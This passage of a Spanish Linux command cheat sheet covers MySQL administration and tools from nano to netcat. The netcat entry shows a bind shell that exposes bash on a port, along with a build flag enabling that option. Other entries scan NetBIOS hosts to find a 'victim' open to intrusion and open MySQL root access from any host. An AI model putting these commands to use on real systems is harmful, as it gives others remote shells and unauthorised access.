Entrar en mysql y directamente en la BD "datos" [notese que la BDs está separada de la "p" por un espacio, sinó se tomaría como la contraseña]
```

Una vez en el prompt de mysql [Todas las sentencias han de terminar con un punto y coma (;) menos la sentencia "USE"]:

```
mysql> SHOW VARIABLES LIKE 'datadir'; (muestra el directorio donde se almacenan las BDs)
mysql> show databases; (Mostrar las BDs existentes)
mysql> create database datos; (Crear la BD "datos")
mysql> DROP DATABASE datos; (Borrar toda una base de datos. El directorio /var/lib/mysql/
datos/ tiene que estar vacío)
mysql> USE datos (Entrar en la BD "datos". Sin punto y coma final)
mysql> show tables; (Mostrar las tablas de la BD en la que se ha entrado)
mysql> DESCRIBE una_tabla (Mostrar los campos de una tabla concreta)
mysql> exit (Salir de mysql. También con "q" o Ctrl+d)
mysql> select version(), current_date; (Mostrar versión de mysql y fecha)
mysql> SET lc_messages = 'es_ES'; (Que los mensajes de error salgan en español)

Resumen de comandos:
```

CREATE DATABASE (rear nueva base de datos vacía)

DROP DATABASE (eliminar completamente una base de datos existente)

CREATE TABLE (crear nueva tabla)

ALTER TABLE (modificar una tabla ya existente)

DROP TABLE (eliminar por completo una tabla existente)

SELECT (leer o seleccionar datos)

INSERT (añadir o insertar nuevos datos)

UPDATE (cambiar o actualizar datos existentes)

DELETE (eliminar o borrar datos existentes)

REPLACE (añadir, cambiar o reemplazar datos nuevos o ya existentes)

TRUNCATE (vaciar o borrar todos los datos de la plantilla)

Modelo de creación de una tabla dentro de una BD mysql:

Nota: en caso de equivocación podemos suspender la entrada de datos con `\\n`. Si existe alguna comilla abierta, primero ha de cerrarse antes de lanzar `\\n`

```
mysql> CREATE TABLE usuarios(
-> nombre VARCHAR(20), apellido VARCHAR(20),
-> profesión VARCHAR(20), sexo CHAR(1), nacimiento DATE,
-> antigüedad DATE);
```

VARCHAR(20) (Que los valores que se almacenarán son de longitud variable de hasta 20 caracteres)

CHAR(1) (Que el valor será fijo y solo tendrá un caracter)

DATE (En formato YYYY-MM-DD)

Para entrar datos en la tabla anterior, podemos crear un archivo de texto "usuarios.txt" que contenga un registro por línea con valores separados por tabuladores, cuidando que el orden de las columnas sea el mismo que utilizamos en la sentencia CREATE TABLE. Para valores que no conozcamos podemos usar valores nulos usando `\N`. Ejemplo:

```
$ nano usuarios.txt
```

Juan	Borras	contable	m	1964-05-12	1988-03-27
Maria	Gil	administrativo	f	1983-10-03	2004-08-05
Antonio	Gomez	portero	m	\N	2006-11-01

Nota.- El final del archivo no ha de contener ninguna línea en blanco. El archivo tiene que estar en `/var/lib/mysql/datos` (En el directorio de la misma base de datos donde se carga)

Para cargarlo en la BD:

```
mysql> LOAD DATA INFILE "usuarios.txt" INTO TABLE datos;
Nota.- En caso de que salga el error: The used command is not allowed with this MySQL version:
```

```
# nano /etc/mysql/my.cnf
Y en la sección [mysql] añadir la línea "local-infile":
[mysql]
local-infile
Reinciar mysql.
LOAD DATA (Permite especificar cuál es el separador de columnas y el separador de registros. Por defecto el tabulador es el separador de columnas (campos) y el salto de línea es el separador de registros)
```

Para añadir un nuevo registro a la BD anterior:

```
mysql> INSERT INTO usuarios
-> VALUES('Jose','Robles','administrativo','m',NULL,'2012-12-01');
Valores y fechas entre comillas simples y valores desconocidos NULL y no \N como entrando un archivo.
```

```
mysql> SELECT * FROM usuarios; (Ver toda la tabla para comprobar si se ha añadido el último registro)
Para modificar un registro puede realizarse borrando toda la tabla de datos y entrando nuevamente el archivo usuarios.txt si este está actualizado:
```

```
mysql> DELETE FROM usuarios;
mysql> LOAD DATA INFILE "usuarios.txt" INTO TABLE usuarios;
O modificando solo el registro que corresponda:
```

```
mysql> UPDATE usuarios SET nacimiento="1959-04-12" WHERE apellido="Gomez"; (Modificar campo "nacimiento" del apellido "Gomez"
mysql> SELECT * FROM usuarios WHERE apellido="Gomez"; (Verificar si se ha realizado la modificación)
mysql> SELECT * FROM usuarios WHERE nacimiento >= "1990-1-1"; (filtrar los que han nacido antes de la fecha indicada)
mysql> SELECT * FROM usuarios WHERE profesion="administrativo" AND sexo="f"; (filtrar los administrativos de sexo femenino)
mysql> SELECT * FROM usuarios WHERE profesion="portero" OR profesion="contable"; (filtrar porteros y contables)
mysql> SELECT * FROM usuarios WHERE (profesion="portero" AND sexo="f")
-> OR (nombre = "juan" AND sexo = "m"); (Filtrar distintas opciones encerradas entre parentesis)
mysql> SELECT apellido, nacimiento FROM usuarios;
mysql> SELECT antiguedad FROM usuarios; (Filtrar la columna "antiguedad")
mysql> SELECT nombre, nacimiento FROM usuarios ORDER BY nacimiento; (Ordenar por fecha nacimiento)
mysql> SELECT * FROM la_tabla ORDER BY la_columna; (Ordenar por el número de una columna)
Incrementos en un campo:
```

```
mysql> update instrumentos set precio=precio+10; (Incrementar todos los campos "precio" de la tabla "instrumentos" en 10)
mysql> update instrumentos set precio=precio+10 where tipo=cuerda; (Solo incrementar en 10 el campo "precio" de la tabla "instrumentos" para los de "cuerda":)
mysql> update instrumentos set precio=(precio+precio*0.20) where tipo='viento'; (Solo incrementar un 20% (0,2) el campo "precio" de la tabla "instrumentos" para los de "viento":)
mysql> select nombre, precio, existencias*precio from instrumentos; (Ver de cada entrada (nombre) el precio unitario (precio) y el precio del total según las existencias:)
Otras operaciones:
```

```
mysql> DELETE FROM usuarios WHERE nombre='Maria'; (Eliminar toda la entrada que contenga "Maria")
mysql> DROP TABLE usuarios; (Eliminar una tabla)
mysql> DROP TABLE IF EXISTS usuarios; (Eliminar tabla si existe)
mysql> CHECK TABLE la_tabla EXTENDED; (Chequear la integridad de una tabla)
mysql> REPAIR TABLE la_tabla; (Reparar una tabla)
```

1.-

En ciertos casos, para resolver el error: mysqldump: Got error: xxx: Table 'xxxxxxx' doesn't exist when using LOCK TABLES:

```
$ mysqldump -u root -p BDs --single-transaction > dump.sql
```

2.-

Otro sistema para importar una base de datos. Primero crearla, entrar en ella y ejecutar el source sobre el fichero sql:



```
mysql> CREATE DATABASE datos;
mysql> USE datos;
mysql> SOURCE datos.sql;
3.-
```

Exportar una tabla a txt con determinado formato:

```
mysql> SELECT * FROM tabla INTO OUTFILE "tabla.txt"
--> FIELDS TERMINATED BY ' '
--> LINES TERMINATED BY '\n\n\r';
FIELDS TERMINATED BY ' ' (indica que los campos de cada línea terminarán con dos espacios.
```

LINES TERMINATED BY '\n\n\r' (indica el carácter como acaba cada línea, en este caso dos saltos de línea y retorno de carro)

otras instrucciones de formato:

ENCLOSED BY '"' (Que los campos de tipo char, text, binary y enum de cada línea se entrecomillan)

IGNORE 1 LINES (No cargar la primera línea del fichero de texto)

LINES STARTING BY '---' (Que todas las líneas empiezen con "---").

4.-

Ejemplo parecido al anterior pero ordenando el fichero por el segundo campo:

```
mysql> SELECTC campo1,campo2,campo3 FROM tabla ORDER BY campo2 INTO OUTFILE "campos.txt"
--> FIELDS TERMINATED BY ' '
--> LINES TERMINATED BY '\n\n\r';
5.-
```

Gestion de usuarios.

Cuando creamos un nuevo usuario en MySQL, éste queda identificado por su nombre de usuario más el nombre o IP del ordenador desde el cual hemos dicho que accederá (el carácter comodín '%' representa varios ordenadores).

Ejemplos:

```
juan
juan@'%'
juan@localhost
juan@'192.168.1.%'
juan@'%.dominio.org'
```

Operaciones con usuarios:

```
mysql> SELECT User,Host,Password FROM mysql.user; (Ver los usuarios)
mysql> CREATE USER juan@'%' IDENTIFIED BY '1234'; (Crear un usuario con la contraseña 1234)
mysql> CREATE USER john IDENTIFIED BY '1234', peter IDENTIFIED BY '4321'; (Crear dos usuarios)
mysql> RENAME USER john TO juan, peter TO pedro;
mysql> DROP USER juan, pedro; (Borrar dos usuarios)
mysql> SET PASSWORD FOR juan = PASSWORD('abcde') (Cambiar la contraseña de un usuario)
mysql> SHOW GRANTS FOR pedro; (Ver los privilegios de un usuario)
mysql> GRANT ALL ON *.* TO juan@localhost (Otorgar todos los privilegios a un usuario)
mysql> REVOKE ALL ON *.* FROM juan@localhost; (Anular todos los privilegios de un usuario)
6.-
```

Acceso remoto a mysql con el usuario root:

```
# nano /etc/mysql/my.cnf
```

Comentar la línea:

## M

```
#bind-address = 127.0.0.1
Reiniciar el servicio:
```

```
# /etc/init.d/mysql restart
```

Entrar en el prompt de mysql y otorgar privilegios:

```
# mysql -u root -p
```

Entrar la contraseña y:

```
mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'la_contraseña' WITH GRANT
      OPTION;
mysql> FLUSH PRIVILEGES;
mysql> exit
7.-
```

Solucionar:ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)

```
# /etc/init.d/mysql stop
Detener el servicio
```

```
# mysqld_safe --user=mysql --skip-grant-tables
Saltar privilegios de MySQL
```

```
$ mysql
En otra terminal entrar en MySQL
```

```
mysql> use mysql (Entrar en la BDs mysql)
mysql> UPDATE user SET Password=PASSWORD('12345') WHERE user='root'; (Actualizar el campo
      Password del usuario root)
mysql> exit (Salir)
```

```
$ mysql -u root -p
Entrar en MySQL
```

8.-

Solucionar error: ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

```
# nano /etc/mysql/my.cnf
```

Y en el apartado mysqld añadir la linea:

```
secure-file-priv = ""
9.-
```

Modificar el prompt de mysql

Si solo se desea modificar para la presente sesión, puede hacerse directamente desde el prompt de mysql:

```
mysql> prompt \h [\d]>\_
      PROMPT set to '\h [\d]> '
      localhost [(none)]>
Para hacerlo permanente:
```

```
# nano /etc/mysql/my.cnf
```

Y en la sección [mysql] añadimos:

```
prompt=\h [\d]>\_
Variables genéricas:
```

\S muestra un punto y coma

\' muestra comillas simples

\" muestra comillas dobles

\v muestra la versión del servidor

\p muestra el puerto de conexión

## M

```
\\ Muestra una barra invertida

\n Inserta un salto de linea

\t Inserta una tabulación

\ Inserta un espacio (debe haber un espacio en blanco después de \ )

\_ Inserta un espacio (debe haber un _ después de \ )

\d Muestra la base de datos por defecto

\h Muestra el nombre del servidor

\c Muestra un contador de sentencias ejecutadas. Continúa aumentando a medida que introducimos comandos.

\u Muestra el usuario

\U Muestra el nombre de la cuenta de usuario en el formato usuario@servidor
```

10.-

Solucionar error: ERROR 1290 (HY000): The MariaDB server is running with the --skip-grant-tables option so it cannot execute this statement

```
mysql> flush privileges;
```

11.-

Colocar un contador de registros en una tabla. Incluir las líneas id\_image... y PRIMARY KEY...:

```
mysql> CREATE TABLE usuarios(

    -> id_image INT(3) NOT NULL AUTO_INCREMENT,
    -> nombre VARCHAR(20), apellido VARCHAR(20),

    -> profesión VARCHAR(20), sexo CHAR(1), nacimiento DATE,

    -> antigüedad DATE),

    -> PRIMARY KEY (id_image)
    -> );
```

12.-

Aumentar la seguridad de un servidor mysql

```
# nano /etc/mysql/my.cnf
```

Y modificar las siguientes líneas dejándolas:

```
bind-address=127.0.0.1
[mysqld]
local-infile          = 0
secure-file-priv      = /dev/null
update mysql.user set user="USER" where user="root";
flush privileges;
```

La primera línea indica que el servidor MySQL solo reciba conexiones de localhost. Las tres siguientes evitan la lectura de los ficheros de configuración. Las dos siguientes renombran al usuario root con el nombre que digamos, que colocaremos donde poner "USER"

También es interesante realizar consultas para ver los privilegios de los usuarios y sus permisos dentro del prompt de mysql:

```
> select distinct(grantee) from information_schema.user_privileges;
Si solo queremos ver los permisos de un usuario:
```

```
> show grants for 'root'@'localhost';
Otra herramienta importante es el script "mysql_secure_installation", el cual nos ayuda a eliminar usuarios anónimos, establecer una contraseña al administrador, eliminar las bases de datos de pruebas, habilitar o deshabilitar el acceso remoto del usuario administrador, etc.
```

```
$ sudo mysql_secure_installation
```

## mysqladmin

Cliente mysql para realizar operaciones administrativas.

```
$ mysqladmin -u root -p version
Conocer la versión instalada
```

```
$ mysqladmin -u root password 1234
Establecer un primera contraseña si no la establece al instalar
```

```
$ mysqladmin -u root -p1234 password 'abcd'
Cambiar la contraseña 1234 por abcd
```

```
$ mysqladmin -u root -p create BASE_DATOS
Crear una base de datos
```

```
$ mysqladmin -u root -p drop BASE_DATOS
Borrar una base de datos
```

```
$ mysqladmin -u root -p status
Mostrar conexiones del servidor mysql
```

```
$ mysqladmin -u root -p reload
Recargar privilegios
```

```
$ mysqladmin -u root -p flush-logs
Vuelca todos los logs
```

```
$ mysqladmin -u root -p flush-tables
Vuelca todas las tablas
```

```
$ mysqladmin -u root -p shutdown
Para el servidor de forma segura
```

```
$ mysqladmin -u root -p ping
Readlizar un ping al servidor mysql
```

## mysqlreport

Crea un informe de importantes valores del estado de MySQL. Interpreta y formatea los valores y presenta los valores básicos y muchos más valores inferidos en un formato legible por humanos.

```
# mysqlreport --user root
del usuario root
```

```
# mysqlreport --outfile archivo
vuelca los datos en "archivo"
```

## mysql\_secure\_installation

Mejorar la seguridad de la instalación de MariaDB. Este programa permite establecer contraseña para las cuentas, puede eliminar el acceso remoto, eliminar cuentas anónimas y puede eliminar bases de datos de prueba, a las que los usuarios anónimos pueden acceder de forma predeterminada.

```
$ mysql_secure_installation
```

## mysqlshow

Mstrar información de la base de datos, tablas y columnas.

```
# mysqlshow
```

```
# mysqlshow --count
Muestra el número de filas por tabla
```

```
# mysqlshow --debug-info
Muestra información de la memoria y las estadísticas de uso de la CPU
```

## mysqltuner

Optimiza el sistema para que el motor de las bases de datos (mysql o mariadb) sean más rápidos. En primer lugar preparamos el contexto creando el directorio y descargando el script y archivos necesarios:

```
$ mkdir mysqltuner
```

```
$ cd mysqltuner
```

```
$ wget http://mysqltuner.pl/ -O mysqltuner.pl
```

```
$ wget https://raw.githubusercontent.com/major/MySQLTuner-perl/master/basic_passwords.txt -O basic_passwords.txt
```

```
$ wget https://raw.githubusercontent.com/major/MySQLTuner-perl/master/vulnerabilities.csv -O vulnerabilities.csv
```

```
$ ls
basic_passwords.txt mysqltuner.pl vulnerabilities.csv
Otorgamos permisos de ejecución al script de perl:
```

```
$ chmod +x mysqltuner.pl
```

Ejecutamos:

```
# ./mysqltuner
```

Nos pedirá nombre de usuario mysql o de mariadb y contraseña y mostrará el informe.

## mytop

Monitorización del servidor de bases de datos mysql. "q" para salir. Comprobar la actividad ingresando en otra consola en mysql [mysql -u USER -p]

```
$ mytop -u USER -p PASS -h localhost -P 3306 --color
Especificando host y puerto
```

Para no poner la contraseña y que quede reflejada en el historial, es preferible entrar los datos en un archivo:

```
$ nano .mytop
```

Con los siguientes parámetros:

```
user=USER
pass=PASS
host=localhost
db=
delay=3
port=3306
batchmode=0
header=1
color=1
idle=1
Delay=3 (Refrescar informe cada 3 segundos)
```

batchmode=0 (Con valor 1 mostrará por pantalla todas las consultas una detrás de otra sin recargar la página. Si el valor es 0 cada vez que se refresque la página se borrarán las consultas anteriores)

header=1 (Valor 1 muestra la cabecera)

color=1 (en color)

idle=1 (que muestre los resultados de las consultas que están dormidas)

Conceptos que muestra la pantalla de mytop:

Queries (Número total de consultas)  
qps (Media de consultas por segundo)  
qps now (Número de consultas por segundo desde la última vez que se descargaron resultados)  
Slow (Número de consultas lentas)  
Slow qps (Consultas lentas desde la última descarga de resultados)  
Se/In/Up/De (indica cual es el porcentaje de Select, Insert, Update o Delete que se ejecutan en el servidor)  
key efficiency (Porcentaje de consultas que están utilizando una clave/índice en la consulta)  
Bps in/out (Media de bytes por segundo entrantes a la base de datos y media de bytes por segundo salientes)  
Now in/out (Media de bytes entrantes y salientes por segundo desde que mytop ha refrescado la página)

Teclas interactivas:

d (Mostrar solo datos de una base de datos)  
f (Mostrar información completa de una consulta)  
F (Desactivar todos los filtros)  
h (Mostrar solamente los datos de un servidor específico)  
H (Mostrar/ocultar cabecera)  
i (Mostrar/ocultar consultar dormidas)  
k (Matar una consulta)  
p (Pausar la vista)  
m (Cambiar "consultas más lentas" a "consultas por segundo")  
o (Invertir orden)  
q (Salir)  
r (Resetear todos los valores)  
s (Cambiar el tiempo de refresco)  
t (Cambiar al modo vista)  
u (Mostrar solamente de un usuario específico)

---

## N

---

### namecheck

Consulta nombres de proyectos que no esten tomados. Cada nuevo proyecto requiere un nombre y estos han de ser únicos. Proponer nombres es difícil para asegurarse que no esten ya en uso y esta herramienta contiene una lista de sitios y patrones para evaluar.

```
$ namecheck tqñas-up84
```

```
Testing tqñas-up84.tuxfamily.org - Available
Testing alioth.debian.org - Available
Testing launchpad.net - Available
Testing savannah.gnu.org - Available
Testing sourceforge.net - Available
Testing www.ohloh.net - Available
Testing projects.apache.org - Available
The name 'tqñas-up84' doesn't appear to be in use.
```

### namei

Mostrar la ruta desde el directorio raiz hasta donde especifiquemos.

```
$ namei $(pwd)
hasta el presente directorio
```

```
$ namei -m $(pwd)/archivo
mostrando permisos y propietarios
```

### nameif

Modificar la MAC de una tarjeta de red dañada. Imaginemos el caso de un pc con dos tarjetas (eth0 y eth1) en el que la eth0 se estropea, con nameif podemos cambiar de interfaz la eth1 para ser la eth0 :

```
# ifconfig eth1
Averiguar la MAC de la eth1
```

```
eth1      Link encap:Ethernet  HWaddr 00:23:54:57:fc:78
```

```
# ifconfig eth1 down
bajar la red eth1
```

```
# nano /etc/init.d/networking
```

Añadir a continuación de la línea del PATH:

```
PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"
```

```
nameif eth0 00:23:54:57:fc:78
```

....

Reiniciar el servicio:

```
# /etc/init.d/networking restart
```

Comprobar que eth1 se ha convertido en eth0:

```
# ifconfig eth0
```

```
eth0      Link encap:Ethernet  HWaddr 00:23:54:57:fc:78
```

## nano

editor de texto.

```
$ nano -wx texto
```

```
Abrir "texto" inhabilitando "final de línea" [wrap] y la ayuda [x]
```

Nota.- "wrap" es la cantidad de caracteres de una línea y puede especificarse en los parámetros de nano.

Archivo de configuración. Crear:

```
$ touch .nanorc
```

Algunos parámetros a incluir:

```
set backup (Guarde copias con la extensión ~)
```

```
set const (Muestra el número de líneas)
```

```
set casesensitive (distinguir mayúsculas y minúsculas en las búsquedas)
```

```
set smooth (Desplazamiento suave. Sin salto de media página)
```

```
set mouse (Habilita el uso del mouse. Precisa paquete gpm)
```

```
set tabsize 4 (Número de espacios en la tabulación. Por defecto 8)
```

```
set tabstospaces (convierte tabulaciones en espacios)
```

```
set nohelp (inhabilitar la ayuda de forma permanente)
```

```
set fill 60 (Número de caracteres por línea[wrap])
```

Atajos

```
Ctrl + g (Menú ayuda)
Ctrl + j (Justificar el párrafo actual)
Ctrl + k (Cortar y guardar la línea actual)
Ctrl + m (Insertar un retorno de carro)
Ctrl + o (Escribir el fichero actual a disco)
Ctrl + v (Moverse hacia el final del documento)
Ctrl + w (Buscar una palabra en el texto)
[Ctrl + w] + [Ctrl + r] (Buscar palabra y reemplazarla por otra)
Ctrl + y (Moverse hacia el principio del documento)
Ctrl + x (Salir de nano)
Ctrl + d (Muestra número de palabras, líneas y caracteres)
Ctrl + A (Empezar a marcar text. Con las flechas completar el trozo)
Alt + 6 (Copiar el trozo marcado con Ctrl + A)
```

```
Ctrl + u (Pegar la línea copiada/cortada)
Mayu + Insert (Insertar del portapapeles)
Alt + m (Soporte para ratón habilitar/deshabilitar. Precisa paquete gpm)
Alt + y (Coloreado de sintaxis habilitar/deshabilitar)
Alt + x (Suprimir/añadir la ayuda del final de página)
```

1- Solución al problema:

```
$ nano .bashrc
Error reading /home/<username>/.nano_history: Permission denied
Press Enter to continue starting nano.
```

```
# nano /etc/nanorc
```

Y comentar la entrada:

```
#set historylog
```



## nast

Detectar usuarios, inalámbricos o no, de una red local. Como herramienta de análisis, tiene muchas características como: Crear lista de hosts LAN, Seguir secuencias TCP-DATA, Encontrar puertas de enlace a Internet LAN, Descubre nodos promiscuos, Restablece conexiones establecidas, Realizar escáner de puertos medio abiertos, Buscar tipos de enlaces, Capturar banners del demonio de los nodos LAN, Controlar respuestas arp para descubrir posibles suplantaciones ...

```
# nast (de forma interactiva informa de paquetes recibidos y los descartados por el kernel)
```

```
Packets Received:          581690
```

```
Packets Dropped by kernel: 0
```

```
# nast -m
los que estan en la misma LAN
```

```
# nast -g
dónde hay un gateway
```

```
# nast -S
especificando una ip y un puerto. Acepta rango de puertos 1-400 o varios separados por comas
20,22,23,50-70
```

```
# nast -C any
sin utilizar ningún filtro
```

```
# nast -c -B
comprueba si alguien está envenenando con arp
```

## nautilus

Navegador de archivos de gnome

```
$ nautilus -q
salir de nautilus
```

```
$ nautilus -c
Realizar una serie rápida de pruebas de autoevaluación
```

```
$ nautilus -g 1200x400
arrancarlo con determinadas medidas
```

Para abrir lugares especiales en nautilus, colocarse sobre el escritorio GNOME y pulsar Mayúscula+7. Se abrirá una ventana abrir lugar y, en ella, escribiremos:

```
computer:/// (Mostrar unidades y SO)
network:///  (los sitios de la Red.)
fonts:///    (ver las tipografías instaladas.)
burn:///     (abre ventana grabar CD/DVD.)
themes:///   (temas disponibles de GNOME.)
nautilus terminal
```

```
# add-apt-repository ppa:flozz/flozz
# apt-get update && sudo apt-get install nautilus-terminal
$ nautilus -q
Extensión de Nautilus que permite tener una consola incrustada, sincronizada con el explorador.
```

Ctrl + Shift + t (mostrar)

Ctrl + Shift + h (ocultar)

Añadir NUEVA PESTAÑA en la barra de nautilus

```
# nano /usr/share/nautilus/ui/nautilus-navigation-window-ui.xml
```

Y pegar en la sección toolbar:

```
<toolitem name="New Tab" action="New Tab"/>
Reiniciar
```

## Atajos

```

Ctrl+A (Seleccionar todo)
Ctrl+C (Copiar)
Ctrl+H (Muestra archivos ocultos)
Ctrl+N (Abre nueva pantalla)
Ctrl+T (Abre una nueva pestaña)
Ctrl+Alt+D (Mostrar escritorio)
Ctrl+Shft+N (Crear nueva carpeta)
Shft+F10 (Activa el menú contextual para el elemento activo)
Alt+Enter (Mostrar propiedades del elemento activo)
Alt+Flechas (Desplazarse entre carpetas)
Alt+tab (Navegar entre ventanas/documentos activos)
Alt+espacio (Abre el menú de la ventana actual)
F2 (Renombrar carpeta)

```

**nbsdgames**

Juegos para la terminal. Colección de juegos textuales con IA, modo de 2 jugadores, tamaño de tablero flexible, color, compatibilidad con mouse, etc. Incluye los siguientes: battleship, checkers, fifteen, fisher, jewels, memoblocks, miketron, mines, muncher, pipes, rabbitohole, redsquare, reversi, sos y sudoku.

**nbtscan**

Para ver máquinas que compartan información en una red por medio del protocolo NetBIOS [windows utiliza este protocolo para sus comunicaciones] GNU/Linux, BSD, Solaris y Mac utiliza el servicio samba por lo cual también serán detectados sus recursos compartidos.

```
# nbtscan 192.168.0.0/24
Obtener nombres de los PCs de nuestra red
```

```
# nbtscan -v 192.168.0.0/24
Obtener la tabla NetBIOS de cada uno de los PCs que encuentre
```

```
# nbtscan -r 192.168.2.0/24
Para escanear completamente toda la red
```

```
# nbtscan -v -s : 192.168.2.0/24
Lo mismo con información por columnas
```

```
# nbtscan -r 192.168.2.1-64
Escanear por un rango de ips
```

```
# nbtscan -f listado
Escanear a partir de un archivo de ips
```

El archivo listado tendrá un formato:

```
192.168.2.3
```

```
192.168.2.6
```

```
192.168.2.11
```

```
...
```

```
# nbtstat -A Ip_victima
si hay algun pc al que se pueda entrar
```

Si muestra la entrada <20> será susceptible de intrusion.

```

LOKO <00> UNIQUE Registered
CHEPUDO <00> GROUP Registered
LOKO <03> UNIQUE Registered
LOKO <20> UNIQUE Registered
CHEPUDO <1E> GROUP Registered

```

## ncal

Calendario. Casi igual que la aplicación cal [ver]

```
$ ncal -C
con los días encima los números. Por defecto al lado
```

```
$ ncal -y 2018 -C
muestra todo el año especificado
```

```
$ ncal -m 2
muestra el segundo mes del año
```

```
$ ncal -3
muestra el anterior, el presente y el proximo
```

```
$ ncal -A 2
los proximos tres meses [0,1 y 2]
```

```
$ ncal -B 2
los anteriores tres meses [2, 1 y 0]
```

## ncdt

Muestra un árbol de directorios muy parecido al árbol estándar del comando tree[ver]. Imprime información resumida en lugar del tamaño de archivo especial del directorio e información sobre archivos mp3.

Es particularmente útil para indexar CDs.

```
$ ncdt -d -b
mostrar sólo los directorios e imprimir información de su tasa de bits
```

## ncdu

Muestra el espacio usado por los archivos y directorios del directorio actual. Como du pero mostrando gráficos y color.

```
$ ncdu /home/usuario
```

## ncmpcpp

Reproductor de música. Al ser del tipo cliente-servidor, Precisa mpd [ver] arrancado.

En el archivo de configuración, que tiene que crearse, sólo es necesario especificar el directorio de música:

```
$ nano .ncmpcpp/config
```

```
mpd_music_dir = "/home/usuario/Musica"
```

Algunas teclas de control:

```
F1 (Ayuda)
F2 (Lista de reproducción)
F3 (Explorador)
F4 (Busca en la base de datos)
F5 (Librería)
F6 (Editor de listas de reproducción)
F7 (Editor de etiquetas)
F8 (Outputs)
F9 (Visualizador musical)
F10 (Reloj)
@ (Información del servidor mpd)
s (Detiene la reproducción)
p (Cambia la visualización)
P (Pausa la reproducción)
Backspace (Pone el tema desde inicio)
< (Tema anterior)
> (Tema siguiente)
```

## ncurses-doc

Contiene una introducción a la escritura de programas con ncurses y una guía de los aspectos internos de la biblioteca ncurses. También incluye las páginas de manual de las bibliotecas. Colocar en el navegador la url `/usr/share/doc/ncurses-doc/html/index.html`

## ncurses-examples

Contiene programas que demuestran las posibilidades de ncurses y prueban la biblioteca. Los ejemplos incluyen varios programas clásicos como solitario, batallas, reloj, ajedrez, las torres de Hanoi y muchos otros. Colocar en el navegador: `file:///usr/lib/ncurses/examples/`

## ne

Editor. Admite caracteres UTF-8, varias columnas y resaltado de sintaxis. Utiliza combinaciones de teclas breves, intuitivas y fáciles de recordar y, al mismo tiempo, proporciona todas las funciones que debería tener un editor. Es totalmente configurable, lo que permite al usuario cambiar el contenido de los distintos menús, crear fácilmente pequeñas macros y cambiar fácilmente las combinaciones de teclas existentes, siendo al mismo tiempo un editor pequeño y rápido. F1 para abrir menús y Esc para cerrarlos

```
$ ne --read-only --utf8 file.txt
solo lectura y codificación utf8
```

## needrestart

Comprueba qué demonios deben reiniciarse después de las actualizaciones de alguna biblioteca como actualizaciones del kernel, actualizaciones pendientes de microcódigo para CPU Intel, reinicios necesarios de contenedores o basados en interpretes... Está inspirado en checkrestart del paquete `debian-goodies` [ver].

```
# needrestart
```

## needrestart-session

Implementa una notificación de las sesiones de los usuarios sobre sus procesos obsoletos después de las actualizaciones del sistema.

```
# needrestart-session
```

Nota.- Lo más normal es que muestre una ventana diciendo: "None of your processes need to be restarted" o sea que "No es necesario reiniciar ninguno de sus procesos"

## neo

Recrea el efecto de lluvia digital de "The Matrix". Secuencias de caracteres aleatorios que se desplazan sin cesar por la pantalla de la terminal.

```
$ neo
forma básica
```

```
$ neo -c red -m "linux es un sistema genial"
las letras en rojo y creando un mensaje en el centro de la pantalla
```

## neofetch

Muestra información del sistema. Instalación:

```
$ git clone https://github.com/dylananaraps/neofetch.git
$ cd neofetch
# make install
```

```
$ neofetch
Básico
```

```
$ neofetch --colors 9 3 5 10 7 9
Modificando colores
```

## nessus

Scanner de vulnerabilidades

Descargar nessus de: <http://www.nessus.org/download/>

Registrarnos en: <http://www.nessus.org/plugins/?view=register-info>

Entrar el código de activación recibido por correo:

```
# /opt/nessus/bin/nessus-fetch --register 218B-76A4-CB0F-072B-AEEA
# /opt/nessus/sbin/nessus-adduser
Entrar usuario y contraseña
# /opt/nessus/sbin/nessusd
Arrancar el servicio
```

Abrir navegador y entrar en la pantalla de login con:

<https://127.0.0.1:8834>

## net-acct

Demonio que crea logs del uso de la red.

```
# cat /var/log/net-acct/net-acct.log
```

## netcat

utilidad que se puede utilizar para practicamente cualquier cosa relacionada con el protocolo TCP/IP [navaja suiza]

Nota.- En algunas distros está ligeramente capado. Preferible bajarlo de <http://netcat.sourceforge.net/download.php> y compilarlo:

```
$ ./configure
$ make DFLAGS="-DTELNET -DGAPING_SECURITY_HOLE"
# make install
$ nc -v -v -z 192.168.2.5 21 22 25 110 5900
que se conecte a la IP, envíe más información [-v por duplicado], que no envíe ningún dato [-z] y
que lo haga por los puertos mencionados [21,22,25,110,5900]

$ nc -l -p 3001 -e /bin/bash
Que esté a la escucha [-l] en el puerto 3001 [-p] y que, cuando haya conexión, ejecute nuestra
shell bash [-e ....]

$ nc IP_servidor 3001
desde el cliente, conectamos con el servidor y todo lo que escribamos se enviará al bash del
servidor y lo que nos responda aparecerá en nuestra pantalla. Para terminar la conexión CTRL-C
```

## N

```
$ telnet -l usuario IP_o_nombre_host 3001
Otra forma de establecer la conexión.
```

```
$ nc -l -p 3000 > archivo
Dejar el servidor listo para recibir un archivo
```

```
$ nc IP_servidor 3000 < archivo
enviar desde el cliente el archivo
```

```
$ nc -zw2 www.nombre.com 80 && echo open
comprobar si está abierto el puerto 80 de un host
```

```
$ nc -l -p 10000 < pelicula.avi
streaming de video-servidor
```

```
$ nc IP_o_host 10000 | mplayer
streaming de video-cliente
```

```
$ nc -l -p 10000 < fichero.mp3
streaming de audio-servidor
```

```
$ nc IP_o_host 10000 | madplay
streaming de audio-cliente
```

```
$ nc -l -p http -c "cat index.html"
servidor http
```

```
$ echo GET / | nc www.google.com 80 > index.html
copiar una página web
```

```
$ nc -l -p 10000 -c "nc host 22"
Proxy. El trafico recibido en el puerto 10000 se redirige al 22 del host especificado
```

```
$ nc towel.blinkenlights.nl 23
visionar la guerra de las galaxias
```

```
$ dd if=/dev/sda5 | nc -l -p 10000
clonar un disco por red. En el servidor
```

```
$ nc IP_o_host 10000 | dd of=sda5.img
En el cliente
```

```
$ nc -l -p 7777 > /dev/null
Prueba de rendimiento entre dos máquinas. En el Servidor
```

```
$ pv -r /dev/zero | nc IP_servidor 7777
En el cliente
```

opciones

`-v -v` `.-` mostrar máxima información

`-z` `.-` mostrar puertos a la escucha

## netdiag

Colección de pequeñas herramientas para analizar el tráfico de red y la configuración de hosts remotos. Incluye los ejecutables: `tcpblast`, `netload`, `trafshow`, `netwatch`, `statnet` y `tcpspray`.

## netdiscover

Buscar máquinas [activas o pasivas] conectados a una red.

```
# netdiscover -i eth0
